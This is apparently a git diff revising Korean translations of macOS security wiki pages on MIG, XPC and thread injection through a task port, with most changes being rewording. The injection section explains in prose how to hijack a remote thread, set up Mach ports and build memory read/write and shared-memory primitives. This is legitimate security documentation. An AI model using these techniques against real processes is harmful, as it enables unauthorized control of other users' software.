-- **타입 선언**: 데이터 타입을 정의할 수 있지만, 일반적으로 `mach_types.defs` 및 `std_types.defs`를 가져옵니다. 사용자 정의 타입의 경우 일부 구문을 사용할 수 있습니다:
+- **포함 및 임포트**: MIG는 C 전처리기를 사용하므로 임포트를 사용할 수 있습니다. 또한, 사용자 또는 서버 생성 코드에 대해 `uimport` 및 `simport`를 사용할 수 있습니다.
+- **타입 선언**: 데이터 타입을 정의할 수 있지만 일반적으로 `mach_types.defs` 및 `std_types.defs`를 가져옵니다. 사용자 정의 타입의 경우 일부 구문을 사용할 수 있습니다:
 - \[i`n/out]tran`: 들어오는 메시지 또는 나가는 메시지로 변환해야 하는 함수
 - `c[user/server]type`: 다른 C 타입에 매핑.
 - `destructor`: 타입이 해제될 때 이 함수를 호출합니다.
@@ -40,7 +40,7 @@ server_port :  mach_port_t;
 n1          :  uint32_t;
 n2          :  uint32_t);
 ```
-첫 번째 **인수는 바인딩할 포트**이며 MIG는 **응답 포트를 자동으로 처리합니다** (클라이언트 코드에서 `mig_get_reply_port()`를 호출하지 않는 한). 또한, **작업의 ID는** 지정된 서브시스템 ID부터 **순차적**으로 시작됩니다 (따라서 작업이 더 이상 사용되지 않는 경우 삭제되고 `skip`이 사용되어 여전히 해당 ID를 사용할 수 있습니다).
+첫 번째 **인자는 바인딩할 포트**이며 MIG는 **응답 포트를 자동으로 처리합니다** (클라이언트 코드에서 `mig_get_reply_port()`를 호출하지 않는 한). 또한, **작업의 ID는** 지정된 서브시스템 ID부터 **순차적**으로 시작합니다 (따라서 작업이 더 이상 사용되지 않는 경우 삭제되고 `skip`이 여전히 해당 ID를 사용하도록 설정됩니다).
 
 이제 MIG를 사용하여 서로 통신할 수 있는 서버 및 클라이언트 코드를 생성하여 Subtract 함수를 호출하십시오:
 ```bash
@@ -52,7 +52,7 @@ mig -header myipcUser.h -sheader myipcServer.h myipc.defs
 > 시스템에서 더 복잡한 예제를 찾으려면: `mdfind mach_port.defs`\
 > 그리고 파일과 동일한 폴더에서 컴파일하려면: `mig -DLIBSYSCALL_INTERFACE mach_ports.defs`를 사용할 수 있습니다.
 
-파일 **`myipcServer.c`**와 **`myipcServer.h`**에서 수신된 메시지 ID에 따라 호출할 함수를 정의하는 구조체 **`SERVERPREFmyipc_subsystem`**의 선언 및 정의를 찾을 수 있습니다(시작 번호로 500을 지정했습니다):
+파일 **`myipcServer.c`**와 **`myipcServer.h`**에서 수신된 메시지 ID에 따라 호출할 함수를 정의하는 구조체 **`SERVERPREFmyipc_subsystem`**의 선언 및 정의를 찾을 수 있습니다(시작 번호로 500을 지정했습니다).
 
 {{#tabs}}
 {{#tab name="myipcServer.c"}}
@@ -106,7 +106,7 @@ return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
 ```
 이 예제에서는 정의에서 1개의 함수만 정의했지만, 더 많은 함수를 정의했다면 그것들은 **`SERVERPREFmyipc_subsystem`** 배열 안에 위치하게 되며, 첫 번째 함수는 ID **500**에, 두 번째 함수는 ID **501**에 할당됩니다...
 
-함수가 **reply**를 보내는 것이 예상되었다면, 함수 `mig_internal kern_return_t __MIG_check__Reply__`도 존재했을 것입니다.
+함수가 **reply**를 보내는 것이 예상되면 `mig_internal kern_return_t __MIG_check__Reply__` 함수도 존재할 것입니다.
 
 실제로 이 관계는 **`myipcServer.h`**의 구조체 **`subsystem_to_name_map_myipc`**에서 확인할 수 있습니다 (**`subsystem*to_name_map*\***`\*\* 다른 파일에서도).
 ```c
@@ -115,7 +115,7 @@ return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
 { "Subtract", 500 }
 #endif
 ```
-마지막으로, 서버가 작동하도록 하는 또 다른 중요한 기능은 **`myipc_server`**입니다. 이 기능은 실제로 수신된 ID와 관련된 **함수를 호출**합니다:
+마지막으로, 서버가 작동하도록 하는 또 다른 중요한 기능은 **`myipc_server`**로, 이는 수신된 ID와 관련된 **함수를 호출하는** 역할을 합니다:
 
 
mig_external boolean_t myipc_server
 (mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
@@ -217,13 +217,13 @@ USERPREFSubtract(port, 40, 2);
 
 ### NDR_record
 
-NDR_record는 `libsystem_kernel.dylib`에 의해 내보내지며, MIG가 **시스템에 독립적인 데이터 변환을 가능하게 하는 구조체**입니다. MIG는 서로 다른 시스템 간에 사용되도록 설계되었기 때문에(단일 머신 내에서만이 아님) 흥미롭습니다.
+NDR_record는 `libsystem_kernel.dylib`에 의해 내보내지며, MIG가 **시스템에 독립적인 데이터를 변환할 수 있도록 하는 구조체**입니다. MIG는 서로 다른 시스템 간에 사용되도록 설계되었기 때문에 (단일 머신에서만 사용되는 것이 아닙니다).
 
-이것은 `_NDR_record`가 이진 파일에서 의존성으로 발견되면(`jtool2 -S  | grep NDR` 또는 `nm`), 해당 이진 파일이 MIG 클라이언트 또는 서버임을 의미합니다.
+이것은 흥미로운데, 만약 `_NDR_record`가 이진 파일에서 의존성으로 발견된다면 (`jtool2 -S  | grep NDR` 또는 `nm`), 이는 해당 이진 파일이 MIG 클라이언트 또는 서버임을 의미합니다.
 
-게다가 **MIG 서버**는 `__DATA.__const`(macOS 커널의 경우 `__CONST.__constdata` 및 다른 \*OS 커널의 경우 `__DATA_CONST.__const`)에 디스패치 테이블을 가지고 있습니다. 이는 **`jtool2`**로 덤프할 수 있습니다.
+게다가 **MIG 서버**는 `__DATA.__const`에 디스패치 테이블을 가지고 있습니다 (macOS 커널에서는 `__CONST.__constdata`, 다른 \*OS 커널에서는 `__DATA_CONST.__const`에 위치합니다). 이는 **`jtool2`**로 덤프할 수 있습니다.
 
-그리고 **MIG 클라이언트**는 `__mach_msg`를 사용하여 서버에 보내기 위해 `__NDR_record`를 사용할 것입니다.
+그리고 **MIG 클라이언트**는 `__mach_msg`를 사용하여 서버에 전송하기 위해 `__NDR_record`를 사용할 것입니다.
 
 ## 이진 분석
 
@@ -249,7 +249,7 @@ jtool2 -d __DATA.__const myipc_server | grep BL
 
int _myipc_server(int arg0, int arg1) {
 var_10 = arg0;
 var_18 = arg1;
-// 적절한 함수 포인터를 찾기 위한 초기 명령어
+// 올바른 함수 포인터를 찾기 위한 초기 명령어
 *(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f;
 *(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
 *(int32_t *)(var_18 + 0x4) = 0x24;
@@ -258,20 +258,20 @@ var_18 = arg1;
 *(int32_t *)(var_18 + 0x10) = 0x0;
 if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
 rax = *(int32_t *)(var_10 + 0x14);
-// 이 함수 식별에 도움이 되는 sign_extend_64 호출
-// 이는 rax에 호출해야 할 포인터를 저장합니다
+// 이 함수의 식별에 도움이 되는 sign_extend_64 호출
+// 이는 호출해야 할 호출의 포인터를 rax에 저장합니다
 // 주소 0x100004040(함수 주소 배열)의 사용을 확인하세요
 // 0x1f4 = 500 (시작 ID)
             rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
             var_20 = rax;
-// If - else, if는 false를 반환하고, else는 올바른 함수를 호출하고 true를 반환합니다
+// If - else, if가 false를 반환하면 else가 올바른 함수를 호출하고 true를 반환합니다
             if (rax == 0x0) {
                     *(var_18 + 0x18) = **_NDR_record;
 *(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
 var_4 = 0x0;
 }
 else {
-// 두 개의 인수로 적절한 함수를 호출하는 계산된 주소
+// 두 개의 인수로 올바른 함수를 호출하는 계산된 주소
                     (var_20)(var_10, var_18);
                     var_4 = 0x1;
 }
@@ -297,7 +297,7 @@ saved_fp = r29;
 stack[-8] = r30;
 var_10 = arg0;
 var_18 = arg1;
-// 적절한 함수 포인터를 찾기 위한 초기 명령어
+// 올바른 함수 포인터를 찾기 위한 초기 명령어
 *(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f | 0x0;
 *(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
 *(int32_t *)(var_18 + 0x4) = 0x24;
@@ -340,7 +340,7 @@ r8 = 0x1;
 var_4 = 0x0;
 }
 else {
-// 함수가 있어야 하는 계산된 주소 호출
+// 함수가 있어야 할 계산된 주소 호출
                             (var_20)(var_10, var_18);
                             var_4 = 0x1;
 }
@@ -365,7 +365,7 @@ return r0;
 {{#endtab}}
 {{#endtabs}}
 
-실제로 **`0x100004000`** 함수로 가면 **`routine_descriptor`** 구조체 배열을 찾을 수 있습니다. 구조체의 첫 번째 요소는 **함수가 구현된 주소**이며, **구조체는 0x28 바이트를 차지**하므로, 0부터 시작하는 각 0x28 바이트마다 8 바이트를 가져오면 호출될 **함수의 주소**를 얻을 수 있습니다:
+실제로 **`0x100004000`** 함수로 가면 **`routine_descriptor`** 구조체 배열을 찾을 수 있습니다. 구조체의 첫 번째 요소는 **함수가 구현된 주소**이며, **구조체는 0x28 바이트를 차지**하므로 0 바이트부터 시작하여 0x28 바이트마다 8 바이트를 가져오면 호출될 **함수의 주소**를 얻을 수 있습니다:
 
 
@@ -375,7 +375,7 @@ return r0; ### Debug -MIG에 의해 생성된 코드는 또한 `kernel_debug`를 호출하여 진입 및 종료 작업에 대한 로그를 생성합니다. **`trace`** 또는 **`kdv`**를 사용하여 확인할 수 있습니다: `kdv all | grep MIG` +MIG에 의해 생성된 코드는 또한 `kernel_debug`를 호출하여 진입 및 종료 작업에 대한 로그를 생성합니다. **`trace`** 또는 **`kdv`**를 사용하여 이를 확인할 수 있습니다: `kdv all | grep MIG` ## References diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md index fcce61e42..5d849c8be 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md @@ -9,25 +9,35 @@ ## 1. Thread Hijacking -처음에, **`task_threads()`** 함수가 원격 작업에서 스레드 목록을 얻기 위해 작업 포트에서 호출됩니다. 스레드가 하이재킹을 위해 선택됩니다. 이 접근 방식은 새로운 원격 스레드를 생성하는 것이 금지되어 있기 때문에 기존의 코드 주입 방법과 다릅니다. 이는 새로운 완화가 `thread_create_running()`을 차단하기 때문입니다. +처음에, **`task_threads()`** 함수가 원격 작업에서 스레드 목록을 얻기 위해 작업 포트에서 호출됩니다. 스레드가 하이재킹을 위해 선택됩니다. 이 접근 방식은 새로운 완화 조치가 `thread_create_running()`을 차단하기 때문에 기존의 코드 주입 방법과 다릅니다. 스레드를 제어하기 위해 **`thread_suspend()`**가 호출되어 실행이 중단됩니다. -원격 스레드에서 허용되는 유일한 작업은 **중지** 및 **시작**과 **레지스터 값**을 **가져오고** **수정하는** 것입니다. 원격 함수 호출은 레지스터 `x0`에서 `x7`을 **인수**로 설정하고, **`pc`**를 원하는 함수로 설정한 후 스레드를 활성화하여 시작됩니다. 반환 후 스레드가 충돌하지 않도록 보장하기 위해 반환을 감지해야 합니다. +원격 스레드에서 허용되는 유일한 작업은 **중지** 및 **시작**과 **레지스터** 값을 **가져오기** 및 **수정하기**입니다. 원격 함수 호출은 레지스터 `x0`에서 `x7`을 **인수**로 설정하고, **`pc`**를 원하는 함수로 설정한 후 스레드를 활성화하여 시작됩니다. 반환 후 스레드가 충돌하지 않도록 하려면 반환을 감지해야 합니다. -한 가지 전략은 `thread_set_exception_ports()`를 사용하여 원격 스레드에 대한 예외 처리기를 **등록**하는 것입니다. 함수 호출 전에 `lr` 레지스터를 잘못된 주소로 설정합니다. 이는 함수 실행 후 예외를 발생시켜 예외 포트에 메시지를 보내고, 스레드의 상태를 검사하여 반환 값을 복구할 수 있게 합니다. 또는 Ian Beer의 triple_fetch exploit에서 채택한 대로, `lr`을 무한 루프에 설정할 수 있습니다. 그런 다음 스레드의 레지스터를 지속적으로 모니터링하여 **`pc`가 해당 명령어를 가리킬 때까지** 대기합니다. +한 가지 전략은 `thread_set_exception_ports()`를 사용하여 원격 스레드에 대한 예외 처리기를 **등록**하고, 함수 호출 전에 `lr` 레지스터를 잘못된 주소로 설정하는 것입니다. 이는 함수 실행 후 예외를 발생시켜 예외 포트에 메시지를 보내고, 스레드의 상태를 검사하여 반환 값을 복구할 수 있게 합니다. 또는 Ian Beer의 triple_fetch exploit에서 채택한 대로 `lr`을 무한 루프에 설정할 수 있습니다. 그런 다음 스레드의 레지스터를 지속적으로 모니터링하여 **`pc`가 해당 명령어를 가리킬 때까지** 대기합니다. ## 2. Mach ports for communication -다음 단계는 원격 스레드와의 통신을 용이하게 하기 위해 Mach 포트를 설정하는 것입니다. 이러한 포트는 작업 간에 임의의 송신 및 수신 권한을 전송하는 데 필수적입니다. +다음 단계는 원격 스레드와의 통신을 용이하게 하기 위해 Mach 포트를 설정하는 것입니다. 이러한 포트는 작업 간에 임의의 전송 및 수신 권한을 전송하는 데 필수적입니다. -양방향 통신을 위해 두 개의 Mach 수신 권한이 생성됩니다: 하나는 로컬 작업에, 다른 하나는 원격 작업에 있습니다. 이후 각 포트에 대한 송신 권한이 상대 작업으로 전송되어 메시지 교환이 가능해집니다. +양방향 통신을 위해 두 개의 Mach 수신 권한이 생성됩니다: 하나는 로컬 작업에, 다른 하나는 원격 작업에 있습니다. 이후 각 포트에 대한 전송 권한이 상대 작업으로 전송되어 메시지 교환이 가능해집니다. -로컬 포트에 집중하면, 수신 권한은 로컬 작업에 의해 보유됩니다. 포트는 `mach_port_allocate()`로 생성됩니다. 이 포트에 송신 권한을 원격 작업으로 전송하는 것이 도전 과제가 됩니다. +로컬 포트에 집중하면, 수신 권한은 로컬 작업에 의해 보유됩니다. 포트는 `mach_port_allocate()`로 생성됩니다. 이 포트에 대한 전송 권한을 원격 작업으로 전송하는 것이 도전 과제가 됩니다. -전략 중 하나는 `thread_set_special_port()`를 활용하여 원격 스레드의 `THREAD_KERNEL_PORT`에 로컬 포트에 대한 송신 권한을 배치하는 것입니다. 그런 다음 원격 스레드에 `mach_thread_self()`를 호출하여 송신 권한을 가져오도록 지시합니다. +전략은 `thread_set_special_port()`를 활용하여 원격 스레드의 `THREAD_KERNEL_PORT`에 로컬 포트에 대한 전송 권한을 배치하는 것입니다. 그런 다음 원격 스레드에 `mach_thread_self()`를 호출하여 전송 권한을 가져오도록 지시합니다. -원격 포트의 경우, 과정이 본질적으로 반대로 진행됩니다. 원격 스레드는 +원격 포트의 경우, 과정이 본질적으로 반대로 진행됩니다. 원격 스레드는 `mach_reply_port()`를 통해 Mach 포트를 생성하도록 지시받습니다(반환 메커니즘 때문에 `mach_port_allocate()`는 적합하지 않습니다). 포트 생성 후, `mach_port_insert_right()`가 원격 스레드에서 호출되어 전송 권한을 설정합니다. 이 권한은 `thread_set_special_port()`를 사용하여 커널에 저장됩니다. 로컬 작업으로 돌아가서, `thread_get_special_port()`를 사용하여 원격 작업의 새로 할당된 Mach 포트에 대한 전송 권한을 획득합니다. + +이 단계가 완료되면 Mach 포트가 설정되어 양방향 통신을 위한 기초가 마련됩니다. + +## 3. Basic Memory Read/Write Primitives + +이 섹션에서는 기본 메모리 읽기 및 쓰기 원시 작업을 설정하기 위해 실행 원시 작업을 활용하는 데 중점을 둡니다. 이러한 초기 단계는 원격 프로세스에 대한 더 많은 제어를 얻는 데 중요하지만, 이 단계의 원시 작업은 많은 용도로 사용되지 않을 것입니다. 곧 더 고급 버전으로 업그레이드될 것입니다. + +### Memory Reading and Writing Using Execute Primitive + +목표는 특정 함수를 사용하여 메모리 읽기 및 쓰기를 수행하는 것입니다. 메모리를 읽기 위해 다음과 유사한 구조의 함수가 사용됩니다: ```c uint64_t read_func(uint64_t *address) { return *address; @@ -72,18 +82,18 @@ ret ```c _xpc_int64_set_value(address - 0x18, value) ``` -이러한 원시 기능이 설정되면, 원격 프로세스를 제어하는 데 있어 중요한 진전을 이루는 공유 메모리를 생성할 준비가 됩니다. +이러한 원시 기능이 설정되면, 원격 프로세스를 제어하는 데 있어 중요한 발전을 이루는 공유 메모리를 생성할 준비가 됩니다. ## 4. 공유 메모리 설정 -목표는 로컬 및 원격 작업 간에 공유 메모리를 설정하여 데이터 전송을 간소화하고 여러 인수를 가진 함수 호출을 용이하게 하는 것입니다. 이 접근 방식은 `libxpc`와 Mach 메모리 항목을 기반으로 하는 `OS_xpc_shmem` 객체 유형을 활용하는 것입니다. +목표는 로컬 및 원격 작업 간에 공유 메모리를 설정하여 데이터 전송을 간소화하고 여러 인수를 가진 함수 호출을 용이하게 하는 것입니다. 이 접근 방식은 Mach 메모리 항목을 기반으로 하는 `libxpc`와 그 `OS_xpc_shmem` 객체 유형을 활용하는 것입니다. ### 프로세스 개요: 1. **메모리 할당**: - `mach_vm_allocate()`를 사용하여 공유할 메모리를 할당합니다. -- 할당된 메모리 영역에 대해 `xpc_shmem_create()`를 사용하여 `OS_xpc_shmem` 객체를 생성합니다. 이 함수는 Mach 메모리 항목의 생성을 관리하고 `OS_xpc_shmem` 객체의 오프셋 `0x18`에 Mach 전송 권한을 저장합니다. +- 할당된 메모리 영역에 대해 `OS_xpc_shmem` 객체를 생성하기 위해 `xpc_shmem_create()`를 사용합니다. 이 함수는 Mach 메모리 항목의 생성을 관리하고 `OS_xpc_shmem` 객체의 오프셋 `0x18`에 Mach 전송 권한을 저장합니다. 2. **원격 프로세스에서 공유 메모리 생성**: @@ -93,11 +103,11 @@ _xpc_int64_set_value(address - 0x18, value) 3. **Mach 메모리 항목 수정**: - `thread_set_special_port()` 메서드를 사용하여 원격 작업에 Mach 메모리 항목에 대한 전송 권한을 삽입합니다. -- 원격 메모리 항목의 이름으로 오프셋 `0x18`의 Mach 메모리 항목 필드를 덮어써서 수정합니다. +- 원격 메모리 항목의 이름으로 오프셋 `0x18`의 Mach 메모리 항목 필드를 덮어씁니다. 4. **공유 메모리 설정 완료**: - 원격 `OS_xpc_shmem` 객체를 검증합니다. -- 원격 호출을 통해 공유 메모리 매핑을 설정합니다 `xpc_shmem_remote()`. +- `xpc_shmem_remote()`에 대한 원격 호출로 공유 메모리 매핑을 설정합니다. 이 단계를 따르면 로컬 및 원격 작업 간에 공유 메모리가 효율적으로 설정되어 데이터 전송과 여러 인수를 요구하는 함수 실행이 간단해집니다. diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/README.md index 6b3407bae..bd20a446a 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/README.md @@ -4,7 +4,7 @@ ## 기본 정보 -XPC는 macOS에서 사용되는 커널인 XNU(즉, XNU Inter-Process Communication)의 약자로, macOS 및 iOS에서 **프로세스 간 통신**을 위한 프레임워크입니다. XPC는 시스템의 서로 다른 프로세스 간에 **안전하고 비동기적인 메서드 호출**을 수행하는 메커니즘을 제공합니다. 이는 Apple의 보안 패러다임의 일부로, 각 **구성 요소**가 작업을 수행하는 데 필요한 **권한만**으로 실행되는 **권한 분리 애플리케이션**의 **생성**을 가능하게 하여, 손상된 프로세스로 인한 잠재적 피해를 제한합니다. +XPC는 macOS에서 사용되는 커널인 XNU(확장 가능한 유닉스) 간의 **프로세스 간 통신**을 위한 프레임워크입니다. XPC는 시스템의 서로 다른 프로세스 간에 **안전하고 비동기적인 메서드 호출**을 수행하는 메커니즘을 제공합니다. 이는 Apple의 보안 패러다임의 일부로, 각 **구성 요소**가 작업을 수행하는 데 필요한 **권한만**으로 실행되는 **권한 분리 애플리케이션**의 **생성**을 가능하게 하여, 손상된 프로세스로 인한 잠재적 피해를 제한합니다. XPC는 동일한 시스템에서 실행되는 서로 다른 프로그램이 데이터를 주고받기 위한 일련의 방법인 프로세스 간 통신(IPC)의 한 형태를 사용합니다. @@ -20,7 +20,7 @@ XPC의 주요 이점은 다음과 같습니다: 애플리케이션의 XPC 구성 요소는 **애플리케이션 자체 내부에** 있습니다. 예를 들어, Safari에서는 **`/Applications/Safari.app/Contents/XPCServices`**에서 찾을 수 있습니다. 이들은 **`.xpc`** 확장자를 가지며(예: **`com.apple.Safari.SandboxBroker.xpc`**) 주요 바이너리와 함께 번들로 제공됩니다: `/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker` 및 `Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist` -당신이 생각할 수 있듯이, **XPC 구성 요소는 다른 XPC 구성 요소나 주요 앱 바이너리와 다른 권한과 특권을 가질 것입니다.** 단, XPC 서비스가 **Info.plist** 파일에서 **JoinExistingSession**을 “True”로 설정하여 구성된 경우는 제외입니다. 이 경우, XPC 서비스는 호출한 애플리케이션과 **같은 보안 세션**에서 실행됩니다. +당신이 생각하고 있을지도 모르는 것처럼, **XPC 구성 요소는 다른 XPC 구성 요소나 주요 앱 바이너리와 다른 권한과 특권을 가질 것입니다.** 단, XPC 서비스가 **Info.plist** 파일에서 [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information_property_list/xpcservice/joinexistingsession)을 “True”로 설정하여 구성된 경우를 제외합니다. 이 경우, XPC 서비스는 호출한 애플리케이션과 **같은 보안 세션**에서 실행됩니다. XPC 서비스는 필요할 때 **launchd**에 의해 **시작**되며, 모든 작업이 **완료**되면 시스템 리소스를 해제하기 위해 **종료**됩니다. **애플리케이션 특정 XPC 구성 요소는 애플리케이션에 의해서만 사용될 수** 있어 잠재적 취약성과 관련된 위험을 줄입니다. @@ -69,21 +69,21 @@ cat /Library/LaunchDaemons/com.jamf.management.daemon.plist - **`xpc_object_t`** 모든 XPC 메시지는 직렬화 및 역직렬화를 단순화하는 사전 객체입니다. 게다가, `libxpc.dylib`는 대부분의 데이터 유형을 선언하므로 수신된 데이터가 예상된 유형인지 확인할 수 있습니다. C API에서 모든 객체는 `xpc_object_t`이며(그 유형은 `xpc_get_type(object)`를 사용하여 확인할 수 있습니다).\ -또한, 함수 `xpc_copy_description(object)`를 사용하여 디버깅 목적으로 유용한 객체의 문자열 표현을 얻을 수 있습니다.\ +또한, `xpc_copy_description(object)` 함수를 사용하여 디버깅 목적으로 유용한 객체의 문자열 표현을 얻을 수 있습니다.\ 이 객체들은 `xpc__copy`, `xpc__equal`, `xpc__hash`, `xpc__serialize`, `xpc__deserialize`와 같은 호출할 수 있는 몇 가지 메서드를 가지고 있습니다... `xpc_object_t`는 `xpc__create` 함수를 호출하여 생성되며, 이 함수는 내부적으로 `_xpc_base_create(Class, Size)`를 호출하여 객체의 클래스 유형(하나의 `XPC_TYPE_*`)과 크기를 지정합니다(메타데이터를 위해 추가 40B가 크기에 추가됩니다). 이는 객체의 데이터가 40B 오프셋에서 시작됨을 의미합니다.\ 따라서 `xpc__t`는 `xpc_object_t`의 하위 클래스와 같은 것이며, 이는 `os_object_t*`의 하위 클래스가 됩니다. > [!WARNING] -> `xpc_dictionary_[get/set]_`를 사용하여 키의 유형과 실제 값을 가져오거나 설정하는 것은 개발자여야 합니다. +> `xpc_dictionary_[get/set]_`를 사용하여 키의 유형과 실제 값을 가져오거나 설정하는 것은 개발자여야 한다는 점에 유의하십시오. - **`xpc_pipe`** **`xpc_pipe`**는 프로세스가 통신하는 데 사용할 수 있는 FIFO 파이프입니다(통신은 Mach 메시지를 사용합니다).\ 특정 Mach 포트를 사용하여 XPC 서버를 생성하려면 `xpc_pipe_create()` 또는 `xpc_pipe_create_from_port()`를 호출할 수 있습니다. 그런 다음 메시지를 수신하려면 `xpc_pipe_receive` 및 `xpc_pipe_try_receive`를 호출할 수 있습니다. -**`xpc_pipe`** 객체는 두 개의 Mach 포트와 이름(있는 경우)에 대한 정보가 포함된 **`xpc_object_t`**입니다. 예를 들어, plist `/System/Library/LaunchDaemons/com.apple.secinitd.plist`에 있는 데몬 `secinitd`는 `com.apple.secinitd`라는 파이프를 구성합니다. +**`xpc_pipe`** 객체는 두 개의 Mach 포트와 이름(있는 경우)에 대한 정보를 포함하는 **`xpc_object_t`**입니다. 예를 들어, plist `/System/Library/LaunchDaemons/com.apple.secinitd.plist`에 있는 데몬 `secinitd`는 `com.apple.secinitd`라는 파이프를 구성합니다. **`xpc_pipe`**의 예는 **`launchd`**에 의해 생성된 **bootstrap pipe**로, Mach 포트를 공유할 수 있게 합니다. @@ -98,21 +98,21 @@ XPC는 메시지를 전달하기 위해 GCD를 사용하며, `xpc.transactionq`, ## XPC 서비스 -이들은 다른 프로젝트의 **`XPCServices`** 폴더에 위치한 **`.xpc`** 확장자를 가진 번들입니다. `Info.plist`에서 `CFBundlePackageType`이 **`XPC!`**로 설정되어 있습니다.\ +이들은 다른 프로젝트의 **`XPCServices`** 폴더에 위치한 **`.xpc`** 확장자를 가진 번들이며, `Info.plist`에서 `CFBundlePackageType`이 **`XPC!`**로 설정되어 있습니다.\ 이 파일에는 Application, User, System 또는 `_SandboxProfile`과 같은 다른 구성 키가 있으며, 이는 샌드박스를 정의하거나 `_AllowedClients`는 서비스에 연락하는 데 필요한 권한 또는 ID를 나타낼 수 있습니다. 이러한 구성 옵션은 서비스가 시작될 때 구성하는 데 유용합니다. ### 서비스 시작하기 앱은 `xpc_connection_create_mach_service`를 사용하여 XPC 서비스에 **연결**을 시도하며, 그런 다음 launchd는 데몬을 찾고 **`xpcproxy`**를 시작합니다. **`xpcproxy`**는 구성된 제한을 시행하고 제공된 FD 및 Mach 포트로 서비스를 생성합니다. -XPC 서비스 검색 속도를 개선하기 위해 캐시가 사용됩니다. +XPC 서비스 검색 속도를 향상시키기 위해 캐시가 사용됩니다. `xpcproxy`의 작업을 추적할 수 있습니다: ```bash supraudit S -C -o /tmp/output /dev/auditpipe ``` -XPC 라이브러리는 `xpc_ktrace_pid0` 및 `xpc_ktrace_pid1`를 호출하는 작업을 기록하기 위해 `kdebug`를 사용합니다. 사용되는 코드는 문서화되어 있지 않으므로 `/usr/share/misc/trace.codes`에 추가해야 합니다. 이들은 `0x29` 접두사를 가지며, 예를 들어 하나는 `0x29000004`: `XPC_serializer_pack`입니다.\ -유틸리티 `xpcproxy`는 `0x22` 접두사를 사용하며, 예를 들어: `0x2200001c: xpcproxy:will_do_preexec`입니다. +XPC 라이브러리는 `kdebug`를 사용하여 `xpc_ktrace_pid0` 및 `xpc_ktrace_pid1`을 호출하는 작업을 기록합니다. 사용되는 코드는 문서화되어 있지 않으므로 `/usr/share/misc/trace.codes`에 추가해야 합니다. 이들은 `0x29` 접두사를 가지며, 예를 들어 하나는 `0x29000004`: `XPC_serializer_pack`입니다.\ +유틸리티 `xpcproxy`는 `0x22` 접두사를 사용하며, 예를 들어: `0x2200001c: xpcproxy:will_do_preexec`. ## XPC 이벤트 메시지 @@ -128,7 +128,7 @@ macos-xpc-connecting-process-check/ ## XPC 권한 부여 -Apple은 또한 앱이 **일부 권리를 구성하고 이를 얻는 방법**을 **설정**할 수 있도록 허용하므로, 호출 프로세스가 이를 가지고 있다면 **XPC 서비스의 메서드를 호출할 수 있도록 허용됩니다**: +Apple은 또한 앱이 **일부 권리를 구성하고 이를 얻는 방법을 설정**할 수 있도록 허용하므로, 호출 프로세스가 이를 가지고 있다면 **XPC 서비스의 메서드를 호출할 수 있도록 허용됩니다**: {{#ref}} macos-xpc-authorization.md @@ -439,14 +439,14 @@ return; ``` ## Remote XPC -`RemoteXPC.framework` (from `libxpc`)에서 제공하는 이 기능은 서로 다른 호스트 간에 XPC를 통해 통신할 수 있게 해줍니다.\ +이 기능은 `libxpc`의 `RemoteXPC.framework`에서 제공되며, 서로 다른 호스트 간에 XPC를 통해 통신할 수 있습니다.\ 원격 XPC를 지원하는 서비스는 `/System/Library/LaunchDaemons/com.apple.SubmitDiagInfo.plist`와 같이 plist에 UsesRemoteXPC 키를 가집니다. 그러나 서비스가 `launchd`에 등록되더라도, 기능을 제공하는 것은 `com.apple.remoted.plugin` 및 `com.apple.remoteservicediscovery.events.plugin` 플러그인을 가진 `UserEventAgent`입니다. -또한, `RemoteServiceDiscovery.framework`는 `com.apple.remoted.plugin`에서 `get_device`, `get_unique_device`, `connect`와 같은 함수를 노출하여 정보를 가져올 수 있게 해줍니다. +또한, `RemoteServiceDiscovery.framework`는 `com.apple.remoted.plugin`에서 정보를 가져올 수 있으며, `get_device`, `get_unique_device`, `connect`와 같은 함수를 노출합니다... `connect`가 사용되고 서비스의 소켓 `fd`가 수집되면, `remote_xpc_connection_*` 클래스를 사용할 수 있습니다. -CLI 도구 `/usr/libexec/remotectl`을 사용하여 다음과 같은 매개변수를 통해 원격 서비스에 대한 정보를 얻을 수 있습니다: +원격 서비스에 대한 정보를 얻으려면 CLI 도구 `/usr/libexec/remotectl`을 사용하여 다음과 같은 매개변수를 사용할 수 있습니다: ```bash /usr/libexec/remotectl list # Get bridge devices /usr/libexec/remotectl show ...# Get device properties and services diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md index ef8a89e50..c612d43c5 100644 --- 